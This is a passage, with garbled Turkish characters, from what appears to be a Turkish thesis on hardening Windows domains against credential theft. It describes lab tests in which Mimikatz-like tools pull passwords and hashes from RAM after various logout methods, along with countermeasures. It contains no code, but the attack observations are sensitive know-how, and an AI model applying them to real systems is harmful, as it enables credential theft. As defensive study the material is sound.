sradan veya günlük i³lemlerini yetkisi kstl hesap üzerinden gerçekle³tirmelidir.
Bu konu için alnmas gereken tedbirler a³a§daki gibidir;
 Etki alan denetleyicisi (DC) hariç hiçbir bilgisayarda yetkili hesap kullanlarak
oturum açlmamaldr. Etki alanndaki kullanclarn oturum açmas gerekmeyen
sunucu ve istemcilerde, oturum açmayacak ³ekilde yaplandrlmal ve bunun yerine
destek gruplar gibi sistemlerde oturum açp bakm yaplmas gerekiyorsa bu destek
gruplar ile sa§lanmaldr. Yetkili kullanclarn gerekli izinleri kontrol edilmeli ve
snrlarnn iyi belirlenmi³ olmas gerekmektedir. Genel olarak bu tip saldrlarda
açk braklm³ oturumun parolasn çe³itli uygulamalar ile RAM üzerinden elde
edilebilmektedir.
Bu uygulamalara kar³ alnabilecek tedbirler a³a§daki gibidir.
1. LM ³ifreleme özeti kullanlmamaldr. Kerberos kullanlmaldr.
2. A§ üzerinde NTLMv2 kullanlmaldr.
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3. E§er alt yap destekliyorsa ve bütçe uygun ise akll kart kullanlmaldr.
4. SMBv3 kullanlmaldr.
5. Ram üzerinde herhangi bir bilgi braklmamas için oturumu kapatlan bilgi-
sayarlar yeniden ba³latlmaldr.
6. Ram üzerinde bilgi elde eden uygulamalar Windows Registry Editor'den (re-
gedit.exe) güvenlik paketlerini
(HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa
\Security Packages)
kullanmaktadrlar. Gereksiz paketler kaldrlarak saldr yüzeyi daraltlmaldr.
Etki alannda kaldrld§nda(tspkg , kerberos) ise bir takm kimlik do§rulama
sorunlarna sebep oldu§u göz önünde bulundurulmaldr.
7. Parola olu³tururken özellikle ALT tu³u kombinasyonlu karakterler (æ, ß,¿,$
vs) kullanlmaldr. Bu durumda RAM üzerinde parolann tamam elde edile-
meyecektir. Burak kullancsna ait parola ZoræParola olsun. Mesut kullan-
csna ait parola Test123 ve ³ekil 3.1 üzerinde görüldü§ü gibi burak kullanc-
snnda parolasnn ilk ksm elde edilmi³tir.
ekil 3.1: Ön Bellekten ifre Elde Edilirken ALT Kombinasyon ile Üretilen Karakter
Fark
Ancak de§i³ik yöntemler kullanlarak ALT kombinasyon ile olu³turulan karakter-
ler de elde edilebilece§i unutulmamaldr. Parolann ve daha birçok kritik bilginin
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de RAM üzerinde oldu§u göz önünde bulundurulup bu kritik verilerin tamamen
RAM üzerinden silinmesi isteniyorsa bilgisayarn muhakkak yeniden ba³latlmas
gerekmektedir.
 Windows i³letim sistemi veya kullanc kaynakl olu³an tehditler sonucu yaplan
saldrlarda ele geçirilen bilgisayarlarn üzerinde çal³an prosesler yetkili bir hesap ile
çal³trlabilece§i `Tehditler ve Saldrlar' bölümünde uygulamal olarak anlatlm³t.
Bunun için etki alannda kritik öneme sahip hesaplar ile Etki alan denetleyicisi
(DC) d³nda ba³ka bir bilgisayarda proses ba³latlmamaldr. Aksi halde proses
sonlandrlmal ve mümkünse bilgisayar yeniden ba³latlmaldr.
 Etki alan denetleyicisi (DC) üzerinde yetkili bir hesap ile açlan oturumda gün-
lük i³lemler yaplmamal, bunun için yetkisiz bir hesap kullanlmaldr. Etki alan
denetleyicisi (DC) üzerinde yetkili bir hesapla i³lem yaplmas gerekiyorsa anlk ola-
rak bilgi alnabilmesi için alarmlar üretilmelidir. Bu durum için a³a§daki öneriler
dikkatle uygulanmaldr.
1. Etki alanndaki önemli gruplara kullanc ekleme çkarma i³lemleri yaplrken
2. Etki alanndaki grup veya kullanclar için yetki de§i³ikli§i i³lemleri yaplrken
3. Windows Group Policylerinde yetki devri, de§i³ikli§i ve güncelleme i³lemleri
yaplrken
4. Önem derecesi yüksek gruplarda, kapsam (scope) veya tipi (type) de§i³iklik
i³lemleri yaplrken
 Herhangi bir kullanc bilgisayarda ilk defa oturum açt§nda Windows Registry
Editor verilerinde baz güncelle³tirmeler olmakta ve C:\Users altnda otomatik ola-
rak baz kullanc dosyalar olu³maktadr. Oturum açldktan sonra otomatik olarak
olu³an bu veriler tehditler sonucu yaplan saldrlarda özellikle saldrgan tarafndan
aranmaktadr. Bu durumun önüne geçmek için kullanc bilgisayar kapatt§nda bu
verilerin silinmesi için Windows Group Policylerde betikler yazlmas tavsiye edil-
mektedir [17].
3.1.6 Servis Güvenli§ini Sa§lama
Servisler, Windows i³letim sistemlerinde ara yüzü olmayan ancak farkl amaçlar do§rul-
tusunda genellikle arka planda çal³an nesnelerdir.
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Servislere Control Panel > All Control Panel Items > Administrative Tools > Services
yönergeleri takip edilerek ula³lr ve istenen servis burada açlp kapatlabilir. Buradan
kullanlmayan servisler devre d³ braklmaldr.
Birbiri üzerinde i³lem gören servislerde ba§mllklar kontrol edilmeli, kullanlmayan ser-
vislere ba§mllk verilmemeli varsa sonlandrlmaldr. Aksi halde eri³ilebilirlik açklkla-
rnn olu³masna sebep olmaktadr.
Servis kullanclarnn parolalar güçlü olmaldr. Sk sk de§i³tirilmeli ve eri³imin sekteye
u§ramamas için de parola süresi hiçbir zaman bitmeyecek ³ekilde ayarlanmaldr.
Kritik servislerin herhangi bir hata sonucu kapatlmas durumunda, birinci ve ikinci hata
sonucunda yeniden ba³latlmas sa§lanmal üçüncü hatada ise gerekli bir uygulamann
ba³latlmas sa§lanmaldr.
Kritik servislere yönelik herhangi bir kaba kuvvet saldrsnda servisin kilitlenmesi kural
uygulanmaldr.
3.1.7 Windows Firewall with Advanced Security
Windows i³letim sistemlerinden Vista, 7, 8, Server 2008, Server 2012 de varsaylan ve
aktif olarak gelmektedir. Windows Firewall with Advanced Security'ye yönelik ayarlar
a³a§daki gibidir.
 Gelen ve giden yönde traﬁk analizi yapabilmektedir. Bunun için 3 ayar mevcuttur.
Block; Güvenlik duvarnda tanmlanm³ ve izin verilenler d³nda bütün ba§lan-
tlar engeller. Block All Connections; Güvenlik duvarnda tanmlananlarda dahil
bütün ba§lantlar engeller. Allow; Güvenlik duvarnda tanml kurallar yok ise bü-
tün ba§lantlara izin verir.
 IPSec ba§lantlarnn kontrolünü de sa§layabilmektedir. Grup ilkelerinden Compu-
ter Conﬁguration > Policies > Windows Settings > Security Settings > Windows
Firewall with Advanced Security alanndan tüm etki alan için güvenlik duvar ku-
rallar tanmlanabilir.
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 Etki alanlarnda grup ilkeleri merkezi olarak yönetilebildi§inden yerel güvenlik du-
var kurallar devre d³ braklarak grup ilkeleri ile belirlenen kurallar uygulanabilir.
3.1.8 Kullanc Hesap Denetimi (User Account Control)
UAC ( User Account Control) bilgisayarda programsal veya yazlmsal herhangi bir de-
§i³iklik yaplrken uygun ayar seçili oldu§unda kullancy uyaran bir denetim sistemidir.
Kullancnn eri³mesi gereken verilerin güvenirli§i UAC korumas devreye alnarak du-
ruma kar³ i³lem yapmas sa§lanabilir.
UAC ayarlarnn En üst seçene§i (Her Zaman Uyar seçene§i) seçildi§inde herhangi bir
de§i³iklik yaplmak istenildi§i veya bir program yüklenece§i zaman uyar vermektedir.
En alt seçene§indeki durum kapal durumudur. Buna göre uygun ayar seçilmelidir.
Kullanc hesap denetimi herhangi bir program üzerinde etkili olmas istenmiyorsa ve e§er
kullanc admin ise programa sa§ tklayarak `Run As Administrator' seçene§i seçilerek
program çal³trlr. Ya da ilgili programn uyumluluk özelli§inden `Program Yönetici
Olarak Çal³tr' seçene§i seçilmelidir.
3.1.9 Di§er Güvenlik Önlemleri
Yukarda bahsi geçen tedbirler d³nda daha birçok tedbir mevcuttur. Burada temel olan-
lar a³a§daki gibi anlatlacaktr.
 SMB/CIFS bilgisayarlar arasndaki payla³trlm³ dosya, yazclar gibi kaynakla-
rn ula³lp kullanlmasnda i³lev gören bir protokoldür. Do§al olarak payla³mdaki
verilerin ula³m srasnda birileri tarafndan elde edilip de§i³tirilmesi ciddi skn-
tlara yol açabilir. Bu sebep ile Microsoft SMB Signing denen bir metod ile bu
data yolculu§undaki paketleri imzalayarak bozulmamalarn (saldr amaçl olarak
de§i³tirilmi³ paket gönderilmesini), bozulmalar durumunda da bu paketlerin alc
tarafndan reddedilmesini sa§lar.
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 Kaba kuvvet saldrlarn önlemek amacyla uygun bir parola politikas ile hareket
edilmelidir. Parolann uzun, kar³k, ALT kombinasyon karakterli, birbirini tekrar-
lamayan parolalar kullanlmaya özen gösterilmelidir. Ayn ³ekilde özel önem de-
recesine sahip kullanclar için gölge (shadow) gruplar olu³turularak Fine-Grained
tarz politikalar uygulanabilir.
 Yönetici olarak kullanc bilgisayarlarnda oturum açlmamaldr. Bu i³lem için özel
gruba (yardm masas) üye kullanc ile oturum açlmal, i³lem bittikten sonra bil-
gisayar yeniden ba³latlmaldr.
 Kullanclara görevleri çerçevesinde yetkiler verilmelidir. Geçici verilen yetkiler ta-
kip edilmeli ve denetlenmelidir. Anti virüs tarz güvenlik programlar, DLP gibi
ajanlarla çal³t§ndan kesinlikle yetkili kullanc ile çal³trlmamaldr. Bu tip prog-
ramlar özel olarak olu³turulan ve yetkilendirme yaplm³ servis hesaplar ile çal³-
trlmaldr. Kritik öneme sahip hesap yetkileri ile çal³trlmas durumunda yapla-
bilecek saldrlar ile saldrganlar hesabn jetonunu kullanarak veya prosesine sçra-
yarak yetkileri elde edip, önem derecesi yüksek gruplarda bir kullanc olu³turabilir
(E§er alarm sistemi yok ise bu durumdan haberdar olunamaz) . Di§er bir yetki ko-
nusu yetkili alann kontrol edilmesidir. Yani teknik destek veya yardm masas gibi
belli yetkileri olan kullanclarn, uzak masaüstü veya bu i³lemi gerçekle³tiren baz
programlar kullanarak personel bilgisayarna eri³ip destek vermektedir. Bu i³lemi
günlük kulland§ makine üzerinden de§il de sanal olu³turulmu³ bir makinadan
yapmas güvenli§i daha çok artracaktr.
 Özellikle sosyal medya kullanclarnn parola veya parola özetlerinin çalnd§ gün-
demde olan bir durumdur. Bu neticede kullanc ³irket hesaplarnn parolalar sosyal
medyada kullandklar ³ifreler ile benzer veya ayn olmamaldr hatta mümkünse
tamamen farkl olmaldr.
 Kullanclar kurum ile ilgili hesap bilgilerini mümkünse bir yerlere açk olarak yaz-
mamallar. Yazacak olurlarsa da ³ifreleyip yazmalar tavsiye edilir. Aksi takdirde
saldry yapan ki³i veya ki³iler ara³trma sonucu bu bilgilere ula³abilmekte ve kul-
lanmaktadr. Yine ayn ³ekilde saklad§ dosya ad da dikkat çekecek ³ekilde olma-
mas lazm. Ayrca parola güvenli§i hakknda linkteki makale incelenebilir.
https://www.bilgiguvenligi.gov.tr/web-guvenligi/parola-analizi.html
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 Güvenlik duvarlar ve UAC tarz güvenlik sistemleri açk olmal hak yükseltme gibi
durumlarda i³letim sisteminin yönetici onay modunun açk olmas gerekmektedir.
Ayrca konu ile ilgili linkteki makale incelenebilir.
https://www.bilgiguvenligi.gov.tr/sizma-testleri/pass-the
-hash-saldirilari-ve-korunma-yontemleri.html
Bilgisayarlar ve payla³mlarda önem derecesi yüksek kritik veriler mevcuttur. Bu
bilgiler a³a§daki gibidir.
- Dosyas ³ifrelenmeden saklanan kritik bilgiler (p listeleri, kullanclar, paro-
lalar).
- Zamanlanm³ görevler ve baz i³lemler için kullanlan betiklere eklenen kulla-
nc ve parola bilgisi
- Önem derecesi yüksek sistemlere ba§lant kurmak için oturum bilgileri içeri-
sinde kaytl RDP, SSH ve FTP ba§lant dosyalar
 Önem derecesi yüksek özellikle etki alan denetleyicisi (DC) gibi sunuculara uzak-
tan eri³im yaplmamaldr. Yaplma mecburiyeti var ise sadece belirli adreslerden
yaplmaldr. Ayrca konu ile ilgili linkteki makale incelenebilir.
http://www.bilgiguvenligi.gov.tr/microsoft-guvenligi/windows-server-
2008-salt-okunur-etki-alani-denetcileri.html
 Uygulanacak her güvenlik önleminin önce bilgi sistemleri tarafndan veya bu ko-
nuda yetkili kurum / kurulu³larca test edilip öyle kullanlmaya ba³lanmaldr. Bu
önlemle birlikte öncesi ve sonras sk sk denetlenmelidir.
 Baz kurumlar farkl etki alanlarna sahiptirler. Saldrganlarn di§er etki alanla-
rna da sçramamas için etki alanlar mümkün oldu§unca birbirinden soyutlanmal
ve bu do§rultu da bo³ kök etki alan (empty root domain) kullanlmaldr. Bu-
rada dikkat edilmesi gereken durum; önem derecesi yüksek grup (Domain admins,
Enterprise Admins) kullanclarnn alt gruplar da oturum açmamalardr. Saldr
yüzeyini daraltmak için etki alanlar arasndaki güven ili³kileri (trust relationship),
ili³kinin geçi³li§i, yönü ve türü konularna dikkat edilerek seçmeli kimlik do§rulama
(selective authentication) kullanlmaldr.
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 DMZ a§ndaki sunucular kurumun etki alannn d³nda ayr bir etki alan kullan-
mal ya da tekil (stand-alone) olarak çal³mal ve yönetilmelidirler. Ayr iki sistem
yöneticisi ile yönetilmeli veya farkl hesap adlar kullanlmaldr. Windows i³letim
sistemi veya kullanc kaynakl olu³an tehditlere yönelik yaplan saldrlarda etki
alanna ait hesaplarn parola veya parola özetleri `Tehditler ve Saldrlar' bölü-
münde anlatld§ ve uyguland§ üzere elde edilebilirli§i gösterilmi³ti. Buna benzer
bir durum ya³and§nda yerel kullanc ve etki alan kullanclarnn parolalar de-
§i³tirilmelidir.
Not: Saldrlarn her an olabilece§i dü³üncesi ile kritik yapdaki verilerin belirli ara-
lklarla yedeklenmesi ve bu yedeklerin korunmas gerekmektedir. Ciddi bir durum
kar³snda yedeklerin devreye sokulmas ve çal³malarn aksamamas gibi durumlar
için acil eylem planlarnn hazr olmas gerekmektedir.
 Microsoft, sistem süreklili§i için önbelle§e ald§ kimlik bilgilerini kullanmaktadr.
Bu durum Windows i³letim sistemi için bir takm kolaylklar getirse de sistem
güvenli§i için büyük bir tehdittir. Dolays ile sisteme bir ³ekilde eri³ebilen saldrgan
kullancya ait kimlik bilgilerini önbellekten okuyabilmektedir. Bunun önlemek için
kesinlikle bilgisayar yeniden ba³latlmaldr.
 E§er bir szma testi gerçekle³tirilmi³ ise gerçekle³tiren ki³iye verilen yetkilerin i³lem
sonunda geri alnmaldr. Szma testini gerçekle³tiren ki³i tarafndan olu³turulan
kullanclar ve dolays ile yapt§ tüm de§i³iklikler eski haline getirilmelidir [17].
Alnan teknik önlemler d³nda a³a§daki iki temel noktaya daha dikkat edilmelidir.
 Güvenlik tedbirlerinin sk sa§lanabilmesi için personele bu konuda ara ara
e§itimler verilmeli bu e§itimin derecesi çal³anlar arasnda ölçülmeli, uygula-
nabilirli§i sürekli kontrol edilmelidir.
- Tüm bu i³lemler uygulanmaya çal³ld§nda personel tepkisi ile kar³ kar³ya
kalnabilmektedir. Bu durum için üst yönetim, deste§ini maddi ve manevi
olarak sürekli vermelidir. Bu önlemi bir ³irket politikas haline getirmek ge-
rekmektedir.
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3.2 Bellekten Parola Elde Edilmesini Önleme Yöntemleri
Windows i³letim sistemlerinde oturum açlrken ekrana girilen kullanc bilgileri, kimlik
do§rulama için kullanlan baz DLL'ler (msv1_0, tspkg, wdigest, kerberos) ile birlikte
RAM üzerine yüklenmektedir. RAM üzerine yüklenen kullanc bilgileri `Mimikatz' ve
`WCE' benzeri araçlar ile elde edilebilmektedir. Bu durum kar³snda kullanc bilgileri-
nin ele geçirilmesini zorla³trmak ve önlemek için ne tür önlemler alnabilece§i üzerinde
durulmu³tur.
3.2.1 Oturum Sonlandrlrken Ortaya Çkan Tehditler ve Alnacak
Önlemler
Bilgisayarda oturum açma i³lemi normal veya uzak masaüstünde olabilir. Bu oturum-
lardan çk³ için birkaç yöntem kullanlmaktadr. Bu durumlar oturum kapatma, uzak
ba§lanty kesme, kullanc de§i³tirme, bilgisayar kapatma ve yeniden ba³latma ³eklinde
olabilmektedir. En etkili önlem ise bilgisayar normal kapatma yöntemi kullanlmasdr.
Aksi taktirde RAM üzerinde parola kaytl kalacak ve olas bir saldrda parola ele geçi-
rilecektir. Bu olas durumlar anlatan saldr sonuçlar ve bu sonuçlarla birlikte alnmas
gereken önlemler için a³a§daki gibi alt ba³lklar ³eklinde tavsiyelerde bulunulmu³tur.
3.2.1.1 Kullanc De§i³tirme(Switch User)'de Olu³an Tehdit ve Alnacak
Önlemler
Kullanc baz durumlarda (bilgisayarn hemen açlmas istenmesi, açk programlarn ta-
mamen kapatlmak istenmemesi, devam eden çal³mann bulunmas, ba³ka bir kullanc
ile i³lem yapmak istemesi vs. ) bilgisayarndan Kullanc De§i³tirme(Switch User) yön-
temi ile çk³ yapar. Bu durum saldrgan bak³ açs ile göz önünde bulunduruldu§unda
RAM üzerinde kullanc hesap bilgilerinin kaytl oldu§u anla³lr. Bölüm 2 üzerinde anla-
tld§ gibi `Mimkatz' arac kullanlarak kullancnn hesap bilgileri elde edilebilmektedir.
Bu duruma önlem olarak oturumu de§i³tir seçene§i kullanlmamal ve bilgisayarda ya-
plan i³lemler bitti§inde kapatlmaldr. Saldr sonucu ekran çkts ile birlikte a³a§da
verilmi³tir.
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Sehir-PC1 adl bilgisayarda KEMALTEZ\mehmet.keles adl kullanc i³lemlerini biti-
rip kullancy de§i³tirme yöntemi ile bilgisayardan çk³ yapm³tr. Daha sonra Sehir-
PC1/mesut adl kullanc giri³ yaparak kendi oturumunu açm³tr. Bu iki durum göz
önünde bulunduruldu§unda herhangi bir tehdit görülmemektedir ancak yaplan saldrda
³ekil 3.2 üzerinde görüldü§ü gibi her iki kullancnn parola bilgileri elde edilebilmektedir.
ekil 3.2: Kullanc De§i³tirerek Oturumdan Çk³ Yapld§nda Olu³an Durum
3.2.1.2 Oturum Ba§lantsnn Dü³mesi (Disconnect Your Session Immedi-
ately)'nde Olu³an Tehdit ve Alnacak Önlem
Kullanc baz durumlarda masaüstünü kapatmadan farkl bir yerden yetkili bir etki alan
kullancs ile uzak masaüstü ba§lants kurar. Bu durumda kullancnn masaüstü ba§-
lants kesilmi³ olur. Güvenlik açsndan olaya bakld§nda her iki kullancnn parolalar
RAM üzerinde kayt edilmi³tir. Bölüm 2 üzerinde anlatld§ gibi `Mimkatz' arac kulla-
nlarak kullancnn hesap bilgileri elde edilebilmektedir.
E§er bilgisayarn belle§inde önemli verinin ve özellikle kullanc parolasnn kalmas is-
tenmiyorsa, bilgisayarn yeniden ba³latlmas veya tamamen kapatlmas gerekmektedir.
Ayrca uzak masaüstü ba§lantlar için belirli IP'lere izin verilmeli ve bu tür ba§lant-
lardan kaçnlmas etkin bir önlemdir. Saldr sonucu ekran çkts ile birlikte a³a§da
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verilmi³tir.
Sehir-PC1 'de mesut adl kullancnn oturumu açk durumdadr. Etki alannda olan KE-
MALTEZ/cem.sari adl kullanc uzak masaüstü ba§lants gerçekle³tirmi³tir. Bu du-
rumda mesut adl kullancnn oturumu dü³mü³ ve cem.sari adl kullancnn oturumu
açlm³tr. Yaplan bu i³lemler normal görünüp herhangi bir tehdit olu³turdu§u görülme-
mektedir. Ancak yaplan saldrda ekil 3.3 üzerinde görüldü§ü gibi her iki kullancnn
parolalar elde edilmi³tir.
ekil 3.3: Kullanc Dü³ürme Sonucu Olu³an Durum
3.2.1.3 Uzak Masaüstü Ba§lantsn Kesme (Disconnect)'de Olu³an Tehdit
ve Alnacak Önlem
Kullanc bazen uzak masaüstünü kapatmadan ba§lantsn keser. Bu durumda kullan-
cnn masaüstü ba§lants kesilmi³ olur ancak bilgisayar kapanmaz. Güvenlik açsndan
de§erlendirildi§inde bilgisayar kapatlmad§ndan dolay kullanc hesap bilgileri RAM
üzerinde kalm³tr. Bölüm 2 üzerinde anlatld§ gibi `Mimkatz' arac kullanlarak kulla-
ncnn hesap bilgileri elde edilebilmektedir.
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Bu durumda alnabilecek önlem ise oturumu kapatmak için Disconnect seçene§i ile çk³
yaplmamaldr. E§er bilgisayarn belle§inde önemli verinin ve özellikle kullanc parola-
snn kalmas istenmiyorsa, bilgisayarn yeniden ba³latlmas veya tamamen kapatlmas
gerekmektedir. Saldr sonucu ekran çkts ile birlikte a³a§da verilmi³tir.
Önceki senaryonun ayns yapldktan sonra Sehir-PC1 mesut adl kullanc uzak ma-
saüstü oturumunu sonlandrmak için ³ekil 3.4 üzerinde görüldü§ü gibi ba§lanty kes
seçene§ini kullanr.
ekil 3.4: Ba§lanty Keserek Oturumu Sonlandrma
Sonrasnda ise Sehir-PC1 'de mesut yerel kullancs tekrar oturum açmaktadr (Bu i³lem
cem.sari tarafndan disconnect yaplmadan, direkt mesut kullancs ile giri³ yaplarak
gerçekle³tirilebilir). Yaplan bu i³lemler de§erlendirildi§inde tehdit olu³turacak bir durum
görülmedi§i yönündedir. Ancak yaplan saldrda her iki kullancnn parola bilgisi ³ekil
3.5 üzerinde görüldü§ü gibi elde edilmi³tir.
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ekil 3.5: Ba§lant Kesilmesi Sonucunda Olu³an Durum
3.2.1.4 Oturumu Kapatma (Log oﬀ)'da Olu³an Tehdit ve Alnacak Önlem
Kullanc Oturumu Kapatma (Log oﬀ) yöntemi ile çk³ yapmaktadr. Bu durum saldrgan
bak³ açs ile göz önünde bulunduruldu§unda RAM üzerinde kullanc hesap bilgilerinin
kaytl oldu§u anla³lr. Bölüm 2 üzerinde anlatld§ gibi mimkatz arac kullanlarak kul-
lancnn hesap bilgileri elde edilebilmektedir.
E§er bilgisayarn belle§inde önemli verinin ve özellikle kullanc parolasnn kalmas is-
tenmiyorsa, bilgisayarn yeniden ba³latlmas veya tamamen kapatlmas gerekli bir ön-
lemdir.
Saldr sonucu ekran çkts ile birlikte a³a§da verilmi³tir.
Kemaltez etki alanndaki cem.sari kullanc oturumunu açtktan sonra oturumu kapat-
maktadr (log oﬀ). Sehir-PC1 'de burak adl yerel kullanc yine oturumunu açtktan
sonra O'da oturumunu kapatmaktadr (logoﬀ). Daha sonra mesut yerel kullancs da
Sehir-PC1 'de oturum açmaktadr. Bu durumda yerel kullanc olan burak 'n parolas
alnamam³ken mesut yerel kullancsnn ve cem.sari etki alan kullancsnn parolalar
elde edilmi³tir.
Not: Yukardaki admlar ayn ³ekilde uygulayp tekrarland§nda ise sadece yerel kul-
lanc olan mesut'un bilgileri elde edilmi³tir. Yaplan i³lem ³ekil 3.6 üzerinde görüldü§ü
gibidir.
Bölüm 3 Önlemler 61
ekil 3.6: Kullanc Oturumu Kapatt§nda Olu³an Durum
3.2.2 Güvenli Parola Kullanm ve Skla³trma Önlemleri
Bu konunun kapsam kullanlan güçlü parolalarn RAM üzerindeki etkisi nasl oldu§un-
dan bahsedilecektir. Ne kadar uzun ve karma³k parola kullanlrsa saldr yüzeyi o kadar
daraltlr veya geciktirilir. Ancak Bölüm 2 üzerinde anlatld§ gibi sisteme bir ³ekilde
szabilen bir saldrgan her ³ekilde parolay elde edebilmektedir. E§er skla³trma i³lem-
lerinden baz kütüphaneler (kerberos, wdigest, tspkg) kaldrlrsa o zaman elde edeme-
mektedir. Bu durum ise Konu 3.2.3 üzerinde anlatld§ gibi sistemde beklenmeyen baz
hatalarn ortaya çkmasna sebep olabilmektedir. Güvenli parola kullanlarak skla³trma
ile alnabilecek önlemler için a³a§daki gibi alt ba³lklar ³eklinde anlatlm³tr.
3.2.2.1 Parola Uzunlu§u ve Karma³kl§ Durumlar
Parola uzunlu§u ve karma³kl§ sisteme szlmadan, szlmaya yönelik yaplan saldrlarda
(Kabakuvvet) saldrnn ba³ar orann ciddi anlamda dü³üren etkin önlemlerdendir. An-
cak sisteme szan bir saldrgan kullancnn ALT kombinasyonu kullanarak olu³turaca§
parolay dahi ele geçirebilmektedir. Bu durum için kesin bir önlem bulunmamaktadr.
Çünkü parola RAM üzerinden alnabilmektedir. Ancak parolalarn uzunlu§u ve karma-
³kl§ birçok saldrnn ba³arya ula³masn engellemektedir. Saldr sonucu ekran çkts
ile birlikte a³a§da verilmi³tir.
Sehir-PC1 üzerindeki mesut kullancsnn parolasn `Zor.Bir?Parola' ³eklinde verilerek
ve RAM üzerinden alnmaya çal³lacaktr. Bu durum uyguland§nda uzun bir parolann
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da RAM üzerinden alnabildi§i görülecektir. Yaplan i³lem ³ekil 3.7 üzerinde görüldü§ü
gibidir.
ekil 3.7: Parolann Özellikle Uzun Kullanlmasnda Olu³an Durum
3.2.2.2 Parola Olu³turulmasnda Özel Karakterlerin Artrlmasnn Sa§la-
d§ Önlemler
Kullanlan parolann karma³kl§ ve uzun olmas önemlidir. Ancak bilgisayara szldk-
tan sonra RAM üzerindeki bilgiyi okumaya yönelik saldr türlerinde genelde bilgi elde
edilebilmektedir. Saldr sonucu ekran çkts ile birlikte önlemler ve skla³trma i³lemleri
a³a§da verilmi³tir.
Sehir-PC1 üzerindeki mesut kullancsnn parolasn `Zor¿Parola¿1' ³eklinde verilmi³-
tir. ekil 3.8 üzerinde görüldü§ü gibi bu parolann tamam yani özel karakterden sonras
bellek üzerinden elde edilememi³tir.
ekil 3.8: Parolann Uzun ve Karma³k Kullanlmasnda Olu³an Durum
Görüldü§ü gibi ilk ba³ta paroladaki özel karakter okunamam³tr ancak yaplan font
de§i³ikli§i i³leminden sonra parolann tamam elde edilebilmektedir. Kullanlan aracn
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yaz fontu seçeneklerinden Lucida Console fontu seçildi§inde ³ekil 3.9 üzerinde görüldü§ü
gibi parola okunmu³tur.
ekil 3.9: Komut Satrnda Font De§i³ikli§i
Komutu çal³trld§nda parolann tamam elde edilebildi§i görülecektir. Yaplan i³lem
³ekil 3.10 üzerinde görüldü§ü gibidir.
ekil 3.10: Font De§i³ikli§inden Sonra Karma³k Parolann Elde Edilmesi
Bu i³lem için a³a§daki önlemler ve skla³trma i³lemleri yaplmaldr.
 Alt kombinasyon karakterlerinin içinde bulundu§u parolann uzunlu§u en az 10
karakter olmaldr.
 2 ayda bir parolalar de§i³tirilmelidir.
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 Kurum ve kurulu³larda kullanlan parolalarn birbirinden farkl olmal ve d³arda
herhangi bir bilgisayarda girilmemelidir. Bu önleme ek olarak ki³isel blog ve mail-
lerde kullanlmamaldr.
 Parola politikalarnda LM özetinin kullanlmas tamamen kaldrlmaldr. Bunun
için `Network security: Do not store LAN Manager hash value on next password
change' ilkesi etkinle³tirilmelidir.
 Ayrca parolann güvenli§i konusunda linkteki makale incelenebilir.
http : //www.bilgimikoruyorum.org.tr/?b220parolaguvenligi
3.2.2.3 14 Karakterden Daha Ksa Uzunluktaki Parolann Kullanlmasnda
Sa§lanan Önlemler
Bu konuda ise önceki parola konularna ek olarak skla³trma i³lemlerinden baz kü-
tüphaneler (kerberos, wdigest, tspkg) kaldrlarak i³lem gerçekle³tirilecektir. Bu durumun
Konu 3.2.3 üzerinde anlatld§ gibi sistemde beklenmeyen baz hatalarn ortaya çkma-
sna sebep olabilmektedir.
14 karakterden daha ksa bir parola verilmi³tir. Güvenlik açsndan de§erlendirildi§inde
kerberos, wdigest ve tspkg gibi kütüphaneler kaldrld§ndan parola açk halde elde edi-
lememektedir. Ancak parola özetleri elde edilebilmektedir. Parola özetleri için çe³itli mo-
düller (Ophcrack , MD5Decrypter gibi) kullanarak parolalarn açk hali elde edilebilmek-
tedir. Saldr sonucu ekran çkts ile birlikte a³a§da verilmi³tir.
Bilgisayar kullanclarndan cem.sari ve mesut adl kullancya 14 karakterden ksa bir
³ifre verilir. Kemaltez\cem.sari adl kullancnn oturumunu açp ilgili i³lemi gerçekle³tir-
dikten sonra kullanc de§i³tir seçene§i ile çk³ yaplr. Ayn ³ekilde yerel kullanc olan
Sehir-PC1\mesut kullancs ile giri³ yapp i³lem gerçekle³ir. Bu i³lemlerden sonra pa-
rolalar elde edilmeye çal³ld§nda açk halde elde edilemeyip sadece parola özetlerinin
elde edilebildi§i görülmektedir. Yaplan i³lem ³ekil 3.11 üzerinde görüldü§ü gibidir.
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ekil 3.11: DLL'lerin Silinmesinden Sonra Ksa Parola Kullanlmasnda Olu³an Du-
rum
3.2.2.4 14 Karakterden Daha Uzun Parolann Kullanlmasnda Sa§lanan Ön-
lemler
Konu 3.2.3 üzerinde anlatld§ gibi skla³trma i³lemlerinden baz kütüphaneler (ker-
beros, wdigest, tspkg) kaldrlarak ve bir önceki konudan farkl 14 karakterden uzun bir
parola kullanlacaktr. Güvenlik açsndan de§erlendirildi§inde kerberos, wdigest ve tspkg
gibi kütüphaneler kaldrld§ndan parola açk halde elde edilememektedir. Ancak LM
özeti olmadan NTLM özeti elde edilebilse dahi bu özetten parola elde edilememektedir.
Sonuç olarak parola ilkelerine LM özetinin alnamamas için parola karakter saysnn 14
olarak belirlenip eklenmesi de etkin bir önlemdir.
Örne§in gerçekle³tirilmesi a³a§daki gibidir.
Yerel kullanc olan Sehir-PC1\mesut kullancsnn parolasn `Test123456Mesut' ³ek-
linde 15 karakter olarak verilir. Yine etki alan kullancs olan cem.sari kullancsna da
`Ce*123456HjU123' 15 karakter olarak verildi. Bu durumda ise yine parola elde edile-
medi§i gibi LM özeti de elde edilememi³ oldu ancak ³ekil 3.12 üzerinde görüldü§ü gibi
NTLM özeti elde edilmi³tir.
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ekil 3.12: DLL'lerin Silinmesinden Sonra Uzun Parola Kullanlmasnda Olu³an Du-
rum
3.2.3 Kullanlmayan Kütüphanelerin (DLL) Kaldrlmas ile Sa§lanan
Önlemler
Windows i³letim sistemleri kimlik do§rulama paketlerini LSA (Local Security Authority)
aracl§ ile belle§e yükler. LSA ise bu yükleyece§i paketleri Windows Registry Editor'ün
(`HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security_Packages')
kaydndan alr. Burada sadece bu kaytta bulunan paketler belle§e yüklenir. Örne§in
Sehir-PC1 bilgisayarnda Windows 7 i³letim sisteminin `Security Packages' de§erinde alt
adet DLL bulunur. Bunlar bellekten parola elde ederken ki ekran görüntülerinde mev-
cut oldu§u gibi; msv1_0, tspkg, wdigest, kerberos, schannel ve pku2u'dir. Bu DLL'lerin
her biri kimlik do§rulama i³lemlerinde ayr görevlere sahiptir. Örne§in bilgisayarlar aras
parola sorgusu yapmadan eri³im için gerekli olan tspkg 'dir. E§er bir bilgisayarda MS12-
